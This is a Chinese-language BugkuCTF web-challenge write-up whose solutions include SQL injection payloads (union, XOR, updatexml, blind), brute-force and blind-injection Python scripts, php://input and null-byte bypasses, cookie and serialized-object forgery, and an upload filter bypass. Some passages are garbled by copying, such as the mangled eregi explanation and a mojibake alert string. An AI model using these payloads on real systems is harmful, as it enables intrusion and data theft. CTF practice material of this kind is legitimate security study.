前言:
出于某些原因一下題目無法完成:本地保含、點選一百萬次、welcome to bugkuctf、過狗一句話、insert into注入、這是一個神奇的登陸框、檔案包含2、孫xx的部落格、login4以及平台複現其他比賽的某些題目。
web2
f12檢視源代碼:

電腦
将maxlength改成2再輸入值即可。
web基礎$_GET
web基礎$_POST
沖突
傳入一個能繞過is_numeric的數字即可。
web3
源碼中有一串unicode編碼,解密即可。
域名解析
把flag.baidu.com 解析到123.206.87.240,windows下修改的檔案為:c:\windows\system32\drivers\etc\hosts
你必須讓他停下
頁面一直重新整理,flag會不定時出現。
1.用burpsuite抓包,用repeat子產品多go幾次
2.寫腳本:
import requests
url="http://123.206.87.240:8002/web12/"
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36 Edg/86.0.622.38'
}
while True:
page_text = requests.get(url=url, headers=headers).text
print(page_text)
變量1
var_dump() 函數顯示關于一個或多個表達式的結構資訊,包括表達式的類型與值。數組将遞歸展開值,通過縮進顯示其結構。
$$args是一個可變變量,我們利用var_dump來輸出變量的資訊。
WEB5
檢視源碼:
發現是jsfuck(jother),因為浏覽器可以識别,直接放到控制台運作即可。
頭等艙
抓包發現flag:
網站被黑
禦劍掃目錄,發現shell.php
嘗試一些弱密碼無果,嘗試爆破:
管理者系統
源碼有注釋,base64解密後是test123,應該是密碼。
大佬的思路:聯系本地管理者,那将通路位址改成127.0.0.1
是以就admin test123登入。
web4
看源碼:
url解密:
框框内送出那串字元串即可:
flag在index裡
有提示:flag再index中
php僞協定:
解碼後:
輸入密碼檢視flag
爆破五位數
# 備份是個好習慣
下載下傳index.php.bak:
1.strstr(str1,str2): 取從str2開始的str1中的一部分字元串。
2.substr(str,start,length): 提取str中start位置開始的長度為length的字元串。
3.parse_str(str): 将字元串解析為變量,例: parse_str(‘a=1&b=1’)
4.md5的碰撞。
是以我們需要用雙寫kkeyey來繞過key的過濾,并碰撞md5。因為要取?後面的字元串,是以用get傳參。
成績單
sql注入:
- 1回顯正常,1’回顯異常,1’#回顯正常。可以判斷是字元型注入。
- 1’ order by 4#回顯正常,1’ order by 5#回顯異常,是以有4個回顯點。
- 讀表:
-1’ union select 1,2,3,(select group_concat(table_name) from information_schema.tables where table_schema=database())#
- 讀列:
-1’ union select 1,2,3,(select group_concat(column_name) from information_schema.columns where table_name=‘fl4g’)#
- 讀内容:
-1’ union select 1,2,3,(select skctf_flag from fl4g)#
秋名山老司機
寫腳本:
import requests
from lxml import etree
url="http://123.206.87.240:8002/qiumingshan/"
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36 Edg/86.0.622.38'
}
s=requests.session()
page=s.get(url=url,headers=headers).text
tree=etree.HTML(page)
num=tree.xpath('//div/text()')
num=str(num[0])
a=num[-3:]
num=num.replace(a,'')
data={'value':eval(num)}
flag=s.post(url,data=data).text
print(flag)
你得快點
源代碼:
響應頭裡有Flag:
是以我們需要post一個margin值是Flag的base64解碼。
腳本:
import requests
import base64
url='http://123.206.87.240:8002/web6/'
s=requests.session()
headers=s.get(url).headers
Flag=base64.b64decode(headers['Flag'])
Flag=Flag.decode()
print(Flag)
Flag=base64.b64decode(Flag.split(':')[1])
print(Flag)
payload={'margin':Flag}
p=s.post(url,data=payload)
print(p.text)
repr() 函數将對象轉化為供解釋器讀取的形式(字元串的形式)。
cookie欺騙
http://123.206.87.240:8002/web11/index.php?line=&filename=a2V5cy5waHA=
可以發現後面是一段base64編碼,解碼是keys.txt,url中還有line這個參數是控制輸出檔案的行數的,我們寫腳本将index.php的代碼讀出來。
import requests
for i in range(20):
url=f'http://123.206.87.240:8002/web11/index.php?line={i}&filename=aW5kZXgucGhw'
page=requests.get(url)
print(page.text)
flag在keys.php中,是以我們增加一個cookie:margin=margin,再通路keys.php即可。
http://123.206.87.240:8002/web11/index.php?line=&filename=a2V5cy5waHA=
never give up
源碼有提示1.html,通路發現是重定向,檢視1.html的源碼:
view-source:http://123.206.87.240:8006/test/1p.html
發現有一段密文,經過一系列url和base64解碼後得到:
";if(!$_GET['id'])
{
header('Location: hello.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'no no no no no no no';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("f4l2a3g.txt");
}
else
{
print "never never never give up !!!";
}
?>
**stripos(字元串a,字元串b)**函數查找字元串b在字元串a中第一次出現的位置(不區分大小寫)。
file_get_contents将整個檔案讀入一個字元串
$data 是由 file_get_contents() 函數讀取變量 $a 的值而得,是以 $a 的值必須為資料流。
在伺服器中自定義一個内容為 bugku is a nice plateform! 檔案,再把此檔案路徑指派給 $a,顯然不太現實。是以這裡用僞協定 php:// 來通路輸入輸出的資料流,其中 php://input可以通路原始請求資料中的隻讀流。這裡令 $a = “php://input”,并在請求主體中送出字元串 bugku is a nice plateform!。
**substr()**函數傳回字元串的一部分。substr(string,start,length),length參數可選。如 substr($b,0,1) 就是在參數b裡面 ,從0開始傳回1個長度的字元串
int eregi(string pattern, string originalstring, [array regs]);
eregi()函數在一個字元串搜尋指定的模式的字元串。搜尋不區分大小寫。Eregi()可以特别有用的檢查有效性字元串,如密碼。
**eregi(“111”.substr( b , 0 , 1 ) , " 1114 " ) ∗ ∗ 就 是 判 斷 " 1114 " 這 個 字 符 串 裡 面 是 否 有 符 合 " 111 " . s u b s t r ( b,0,1),"1114")**就是判斷"1114"這個字元串裡面是否有符合"111".substr( b,0,1),"1114")∗∗就是判斷"1114"這個字元串裡面是否有符合"111".substr(b,0,1)這個規則的
之後還要将\x00改成%00,因為請求過程中編碼會自動進行URL的編碼,在送出請求時導緻請求頭截斷。這個具體過程是由于,如果填的是\x00,在url編碼階段就會被截斷b還沒被傳送至php背景時已經成為了空(即b=’’),到了背景$b為空,就不符合要求了。這個時候如果直接把URL編碼的過程手動做了,就不會被截斷,就能順利将資料傳送至背景了。
payload:
http://123.206.87.240:8006/test/hello.php?id=0e123&a=php://input&b=%00123456
字元?正則?
<?php
highlight_file('2.php');
$key='KEY{********************************}';
$IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);
if( $IM ){
die('key is: '.$key);
}
?>
trim() 函數移除字元串兩側的空白字元或其他預定義字元。
舉例:
<?php
$str = "Hello World!";
echo $str . "<br>";
echo trim($str,"Hed!");
?>
執行結果:
Hello World!
llo Worl
[[:punct:]]是指所有的符号(比如@、. 等等)
payload:
http://123.206.87.240:8002/web10/?id=keykeyaaaakey:/a/keya@
你從哪裡來
Referer的作用是訓示一個請求是從哪裡連結過來,那麼當一個請求并不是由連結觸發産生的,那麼自然也就不需要指定這個請求的連結來源。
加一個Referer指明我們的來源即可:
md5 collision
找一個md5值為0e開頭的字元串即可:
http://123.206.87.240:9009/md5.php?a=s155964671a
程式員本地網站
改X-Forwarded-For:
各種繞過
<?php
highlight_file('flag.php');
$_GET['id'] = urldecode($_GET['id']);
$flag = 'flag{xxxxxxxxxxxxxxxxxx}';
if (isset($_GET['uname']) and isset($_POST['passwd'])) {
if ($_GET['uname'] == $_POST['passwd'])
print 'passwd can not be uname.';
else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin'))
die('Flag: '.$flag);
else
print 'sorry!';
}
?>
用數組繞過sha1:
web8
<?php
extract($_GET);
if (!empty($ac))
{
$f = trim(file_get_contents($fn));
if ($ac === $f)
{
echo "<p>This is flag:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
?>
extract() 函數從數組中将變量導入到目前的符号表。
該函數使用數組鍵名作為變量名,使用數組鍵值作為變量值。針對數組中的每個元素,将在目前符号表中建立對應的一個變量。
第二個參數type用于指定當某個變量已經存在,而數組中又有同名元素時,extract() 函數如何對待這樣的沖突。
該函數傳回成功導入到符号表中的變量數目。
例:
<?php
$a = "Original";
$my_array = array("a" => "Cat","b" => "Dog", "c" => "Horse");
extract($my_array);
echo "\$a = $a; \$b = $b; \$c = $c";
?>
file_get_contents()用php://input來繞過。
payload:
http://123.206.87.240:8002/web8/?ac=123&fn=php://input
并再burpsuite中post下面加上123。
細心
禦劍掃描發現robots.txt
通路/resusl.php
左下角提示,get傳參:?x=admin
求getshell
發現php5沒有被過濾上傳php,然後抓包,改包。multipart的u大寫、Content-Type改成image/jpeg。
多次
異或注入:兩個條件相同(同真或同假)即為假。
http://120.24.86.145:9004/1ndex.php?id=1'^(length('union')!=0)--+
如果傳回頁面顯示正常,那就證明length(‘’)==0的,也就是union被過濾了,即回顯正常的都是被過濾的。
同理測試出被過濾的字元串有:and,or,union,select
這裡我們可以用雙寫繞過:
判斷字段數為2:
?id=2'%20 oorrder by 2--+
判斷回顯點:
?id=-2' uniunionon seselectlect%20 1,2--+
找表名:
?id=-2' uniunionon seselectlect%20 1,(selselectect group_concat(table_name) from infoorrmation_schema.tables where table_schema=database())--+
找列名:
?id=-2' uniunionon seselectlect%20 1,(selselectect group_concat(column_name) from infoorrmation_schema.columns where table_name='flag1')--+
找表中的内容:
?id=-2' uniunionon seselectlect%20 1,(selselectect flag1 from flag1)--+
?id=-2' uniunionon seselectlect%20 1,(selselectect address from flag1)--+
?id=3'--qwe
報錯,說明是數字型注入。
可以盲注,也可以用這裡利用**updatexml()**函數報錯注入。
首先了解下updatexml()函數
UPDATEXML (XML_document, XPath_string, new_value);
第一個參數:XML_document是String格式,為XML文檔對象的名稱,文中為Doc
第二個參數:XPath_string (Xpath格式的字元串) ,如果不了解Xpath文法,可以在網上查找教程。
第三個參數:new_value,String格式,替換查找到的符合條件的資料
作用:改變文檔中符合條件的節點的值
改變XML_document中符合XPATH_string的值
而我們的注入語句為:
updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
其中的 concat() 函數是将其連成一個字元串,是以不會符合XPATH_string的格式,進而出現格式錯誤,爆出
ERROR 1105 (HY000): XPATH syntax error: ':[email protected]'
payload:
# 查資料表
http://120.24.86.145:9004/Once_More.php?id=1' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'~'),3) %23
# 查字段
?id=1' and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag2'),'~'),3) %23
# 查資料
?id=1' and updatexml(1,concat('~',(select flag2 from flag2),'~'),3) %23
PHP_encrypt_1
<?php
function encrypt($data,$key)
{
$key = md5('ISCC');
$x = 0;
$len = strlen($data);
$klen = strlen($key);
for ($i=0; $i < $len; $i++) {
if ($x == $klen)
{
$x = 0;
}
$char .= $key[$x];
$x+=1;
}
for ($i=0; $i < $len; $i++) {
$str .= chr((ord($data[$i]) + ord($char[$i])) % 128);
}
return base64_encode($str);
}
?>
簡單解碼題。payload:
<?php
$str=base64_decode('fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=');
$key=md5('ISCC');
$x=0;
$char='';
for($i=0; $i < strlen($str); $i++)
{
if($x == strlen($key))
{
$x = 0;
}
$char .= $key[$x];
$x+=1;
}
$flag='';
for($i=0;$i<strlen($str);$i++)
{
$flag.=chr((ord($str[$i])-ord($char[$i])+128)%128);
}
echo $flag;
?>
flag.php
提示了hint,那麼http://123.206.87.240:8002/flagphp/?hint=1
讀到了一段代碼:
<?php
error_reporting(0);
include_once("flag.php");
$cookie = $_COOKIE['ISecer'];
if(isset($_GET['hint'])){
show_source(__FILE__);
}
elseif (unserialize($cookie) === "$KEY")
{
echo "$flag";
}
$KEY='ISecer:www.isecer.com';
其實上面 K E Y 的 值 還 沒 有 被 定 義 , 上 面 代 碼 中 KEY的值還沒有被定義,上面代碼中 KEY的值還沒有被定義,上面代碼中KEY的值應該是空字元串’’,而不是下面的值,是以應該是反序列化的值為’’。
于是構造cookie :ISser = s:0:"";
但是注意;(分号)在cookie中不會被正确的上傳到伺服器,構造URL編碼
;的URL編碼為%3B
于是在火狐的HackBar插件中傳入Cookie ISser = s:0:""%3B
重新整理頁面即可。
sql注入2
知識點:
1、select substr(‘abcd’ from 3)=>cd
發現隻用from的話,就會把對應查詢位置的字元以及後面的字元全部查詢顯示出來,相當于預設長度為後面所有。
select ascii(substr(‘abcd’ from 3))=97
發現隻要用ascii碼做比較,隻會比較查詢出來的第一個字母的ascii碼,也就是說我們隻用from還是能達到一個字母一個字母通過盲注比較出來并拼接。
2、
減
'a'-(1)-'' 計算結果為:0-1-0=-1
'a'-(0)-'' 計算結果為:0-0-0=0
異或
'a'^(1)^'' 計算結果為:0^1^0=1
'a'^(0)^'' 計算結果為:0^0^0=0
payload:
admin'-(ascii(substr((passwd)from(i)))={})-'
大佬的腳本:
import requests
hed={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0'}
admin="admin'-(ascii(substr((passwd)from({})))={})-'"
#dat={'uname':admin,'passwd':'123'}
url='http://123.206.87.240:8007/web2/index.php'
ascil=[i for i in range(48,58)]
ascil2=[i for i in range(97,123)]
ascil3=ascil+ascil2
password=''
for i in range(1,33):
for j in ascil3:
dat={'uname':admin.format(i,j),'passwd':'123'}
respons=requests.post(url,headers=hed,data=dat,timeout=4)
html=respons.content.decode()
if 'username' in html:
password=password+chr(j)
print(password)
break
print('密碼的md5為:',password)
3、passwd=abc123
mid((passwd)from(-1)):3
mid((passwd)from(-2)):23
mid((passwd)from(-3):123
倒着看的第一位都是3,顯然不行,無法截取出來,于是想到反轉
先反轉
REVERSE(MID((passwd)from(-%d))
再去最後一位
mid(REVERSE(MID((passwd)from(%-d)))from(-1))
在比較ASCII
ascii(mid(REVERSE(MID((passwd)from(%-d)))from(-1)))>1
payload:
admin'-(ascii(mid(REVERSE(MID((passwd)from(-"+str(i)+")))from(-1)))="+str(ord(j))+")-
大佬的腳本:
import requests as rq
flag=""
url='http://123.206.87.240:8007/web2/index.php'
cookie = {
'PHPSESSID':'9tto2f03opoarctpl0vsk3njedmvlkqr'
}
for i in range(1,33):
for j in '0123456789abcdef':
username="admin'-(ascii(mid(REVERSE(MID((passwd)from(-"+str(i)+")))from(-1)))="+str(ord(j))+")-'"
data={'uname':username,'passwd':'hu3sky'}
r=rq.post(url=url,data=data,cookies=cookie)
print(r.text)
if "username" in r.text:
flag=flag+j
print(flag)
break
Trim的日記本
禦劍發現show.php
江湖魔頭
看源碼:
看看base64.js:
再看看scripts.js(https://tool.lu/js/解密一下):
function getCookie(cname) {
var name = cname + "=";
var ca = document.cookie.split(';');
for (var i = 0; i < ca.length; i++) {
var c = ca[i].trim();
if (c.indexOf(name) == 0) return c.substring(name.length, c.length)
}
return ""
}
function decode_create(temp) {
var base = new Base64();
var result = base.decode(temp);
var result3 = "";
for (i = 0; i < result.length; i++) {
var num = result[i].charCodeAt();
num = num ^ i;
num = num - ((i % 10) + 2);
result3 += String.fromCharCode(num)
}
return result3
}
function ertqwe() {
var temp_name = "user";
var temp = getCookie(temp_name);
temp = decodeURIComponent(temp);
var mingwen = decode_create(temp);
var ca = mingwen.split(';');
var key = "";
for (i = 0; i < ca.length; i++) {
if (-1 < ca[i].indexOf("flag")) {
key = ca[i + 1].split(":")[2]
}
}
key = key.replace('"', "").replace('"', "");
document.write('<img id="attack-1" src="image/1-1.jpg">');
setTimeout(function() {
document.getElementById("attack-1").src = "image/1-2.jpg"
}, 1000);
setTimeout(function() {
document.getElementById("attack-1").src = "image/1-3.jpg"
}, 2000);
setTimeout(function() {
document.getElementById("attack-1").src = "image/1-4.jpg"
}, 3000);
setTimeout(function() {
document.getElementById("attack-1").src = "image/6.png"
}, 4000);
setTimeout(function() {
alert("ä½ ä½¿ç”¨å¦‚æ¥ç¥žæŽŒæ‰“败了蒙è€é”,但ä¸çŸ¥é“是真身还是å‡èº«ï¼Œæäº¤è¯•一下å§!flag{" + md5(key) + "}")
}, 5000)
}
再看cookie:
注意一下:
這裡有Base64.decode()
在控制台解密cookie的順序為:
var test=getCookie(‘user’)(這裡有一個Base64.decode()加密)
test=decodeURIComponent(test)
test=decode_create(test)
得到:
"O:5:\"human\":10:{s:8:\"xueliang\";i:892;s:5:\"neili\";i:736;s:5:\"lidao\";i:99;s:6:\"dingli\";i:100;s:7:\"waigong\";i:0;s:7:\"neigong\";i:0;s:7:\"jingyan\";i:0;s:6:\"yelian\";i:0;s:5:\"money\";i:0;s:4:\"flag\";s:1:\"0\";}"
更改一下money:
"O:5:\"human\":10:{s:8:\"xueliang\";i:892;s:5:\"neili\";i:736;s:5:\"lidao\";i:99;s:6:\"dingli\";i:100;s:7:\"waigong\";i:0;s:7:\"neigong\";i:0;s:7:\"jingyan\";i:0;s:6:\"yelian\";i:0;s:5:\"money\";i:100000;s:6:\"flag\";s:1:\"0\";}"
反過來加密:
注意Base64()函數裡不需要這個:
// public method for encoding
this.encode = function (input) {
var output = "";
var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
var i = 0;
//input = _utf8_encode(input);
while (i < input.length) {
chr1 = input.charCodeAt(i++);
chr2 = input.charCodeAt(i++);
chr3 = input.charCodeAt(i++);
enc1 = chr1 >> 2;
enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
enc4 = chr3 & 63;
if (isNaN(chr2)) {
enc3 = enc4 = 64;
} else if (isNaN(chr3)) {
enc4 = 64;
}
output = output +
_keyStr.charAt(enc1) + _keyStr.charAt(enc2) +
_keyStr.charAt(enc3) + _keyStr.charAt(enc4);
}
return output;
}
根據這個函數我們寫一個加密的函數:
原來解密的函數:
function decode_create(temp) {
var base = new Base64();
var result = base.decode(temp);
var result3 = "";
for (i = 0; i < result.length; i++) {
var num = result[i].charCodeAt();
num = num ^ i;
num = num - ((i % 10) + 2);
result3 += String.fromCharCode(num)
}
return result3
}
encode_create()
var result3 = "";
for (i = 0; i < test.length; i++) {
var num =test[i].charCodeAt();
num = num + ((i % 10) + 2);
num = num ^ i;
result3 += String.fromCharCode(num)
}
順序:
test="O:5:\"human\":10:{s:8:\"xueliang\";i:892;s:5:\"neili\";i:736;s:5:\"lidao\";i:99;s:6:\"dingli\";i:100;s:7:\"waigong\";i:0;s:7:\"neigong\";i:0;s:7:\"jingyan\";i:0;s:6:\"yelian\";i:0;s:5:\"money\";i:100000;s:4:\"flag\";s:1:\"0\";}"
var result3 = "";
for (i = 0; i < test.length; i++) {
var num =test[i].charCodeAt();
num = num + ((i % 10) + 2);
num = num ^ i;
result3 += String.fromCharCode(num)
}
var base = new Base64();
var output = "";
var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
var i = 0;
//input = _utf8_encode(result3);
while (i <result3.length) {
chr1 = result3.charCodeAt(i++);
chr2 =result3.charCodeAt(i++);
chr3 = result3.charCodeAt(i++);
enc1 = chr1 >> 2;
enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
enc4 = chr3 & 63;
if (isNaN(chr2)) {
enc3 = enc4 = 64;
} else if (isNaN(chr3)) {
enc4 = 64;
}
output = output +
_keyStr.charAt(enc1) + _keyStr.charAt(enc2) +
_keyStr.charAt(enc3) + _keyStr.charAt(enc4);
}
encodeURIComponent(output)
"UTw7PCxqe3FjcC42OThOjWtSUFYwbm99amlzbG0wI3MeHB0aZ1liZxQMWEFDXl8EdUUOCQMOd016B34WUlFWWTVoATEAAX15P3Z2CmYgPTY5Pj90FSUUbWJiZy1iYR52HwsRERUUDUApGShSKRNSVU5WBh8FBQ8OEVxFFTxKPQPEw76m6uvy6Qnj8qax4bC60evQrNC47f%2Fo9%2F3uttnt2pKf1Zyf5IzR0dDN14rtwe6JiIiIhoaJz%2FiC%2BJDMyt3V5oG7gv2G6vzs90s%3D"
有錢了想幹啥都行。。。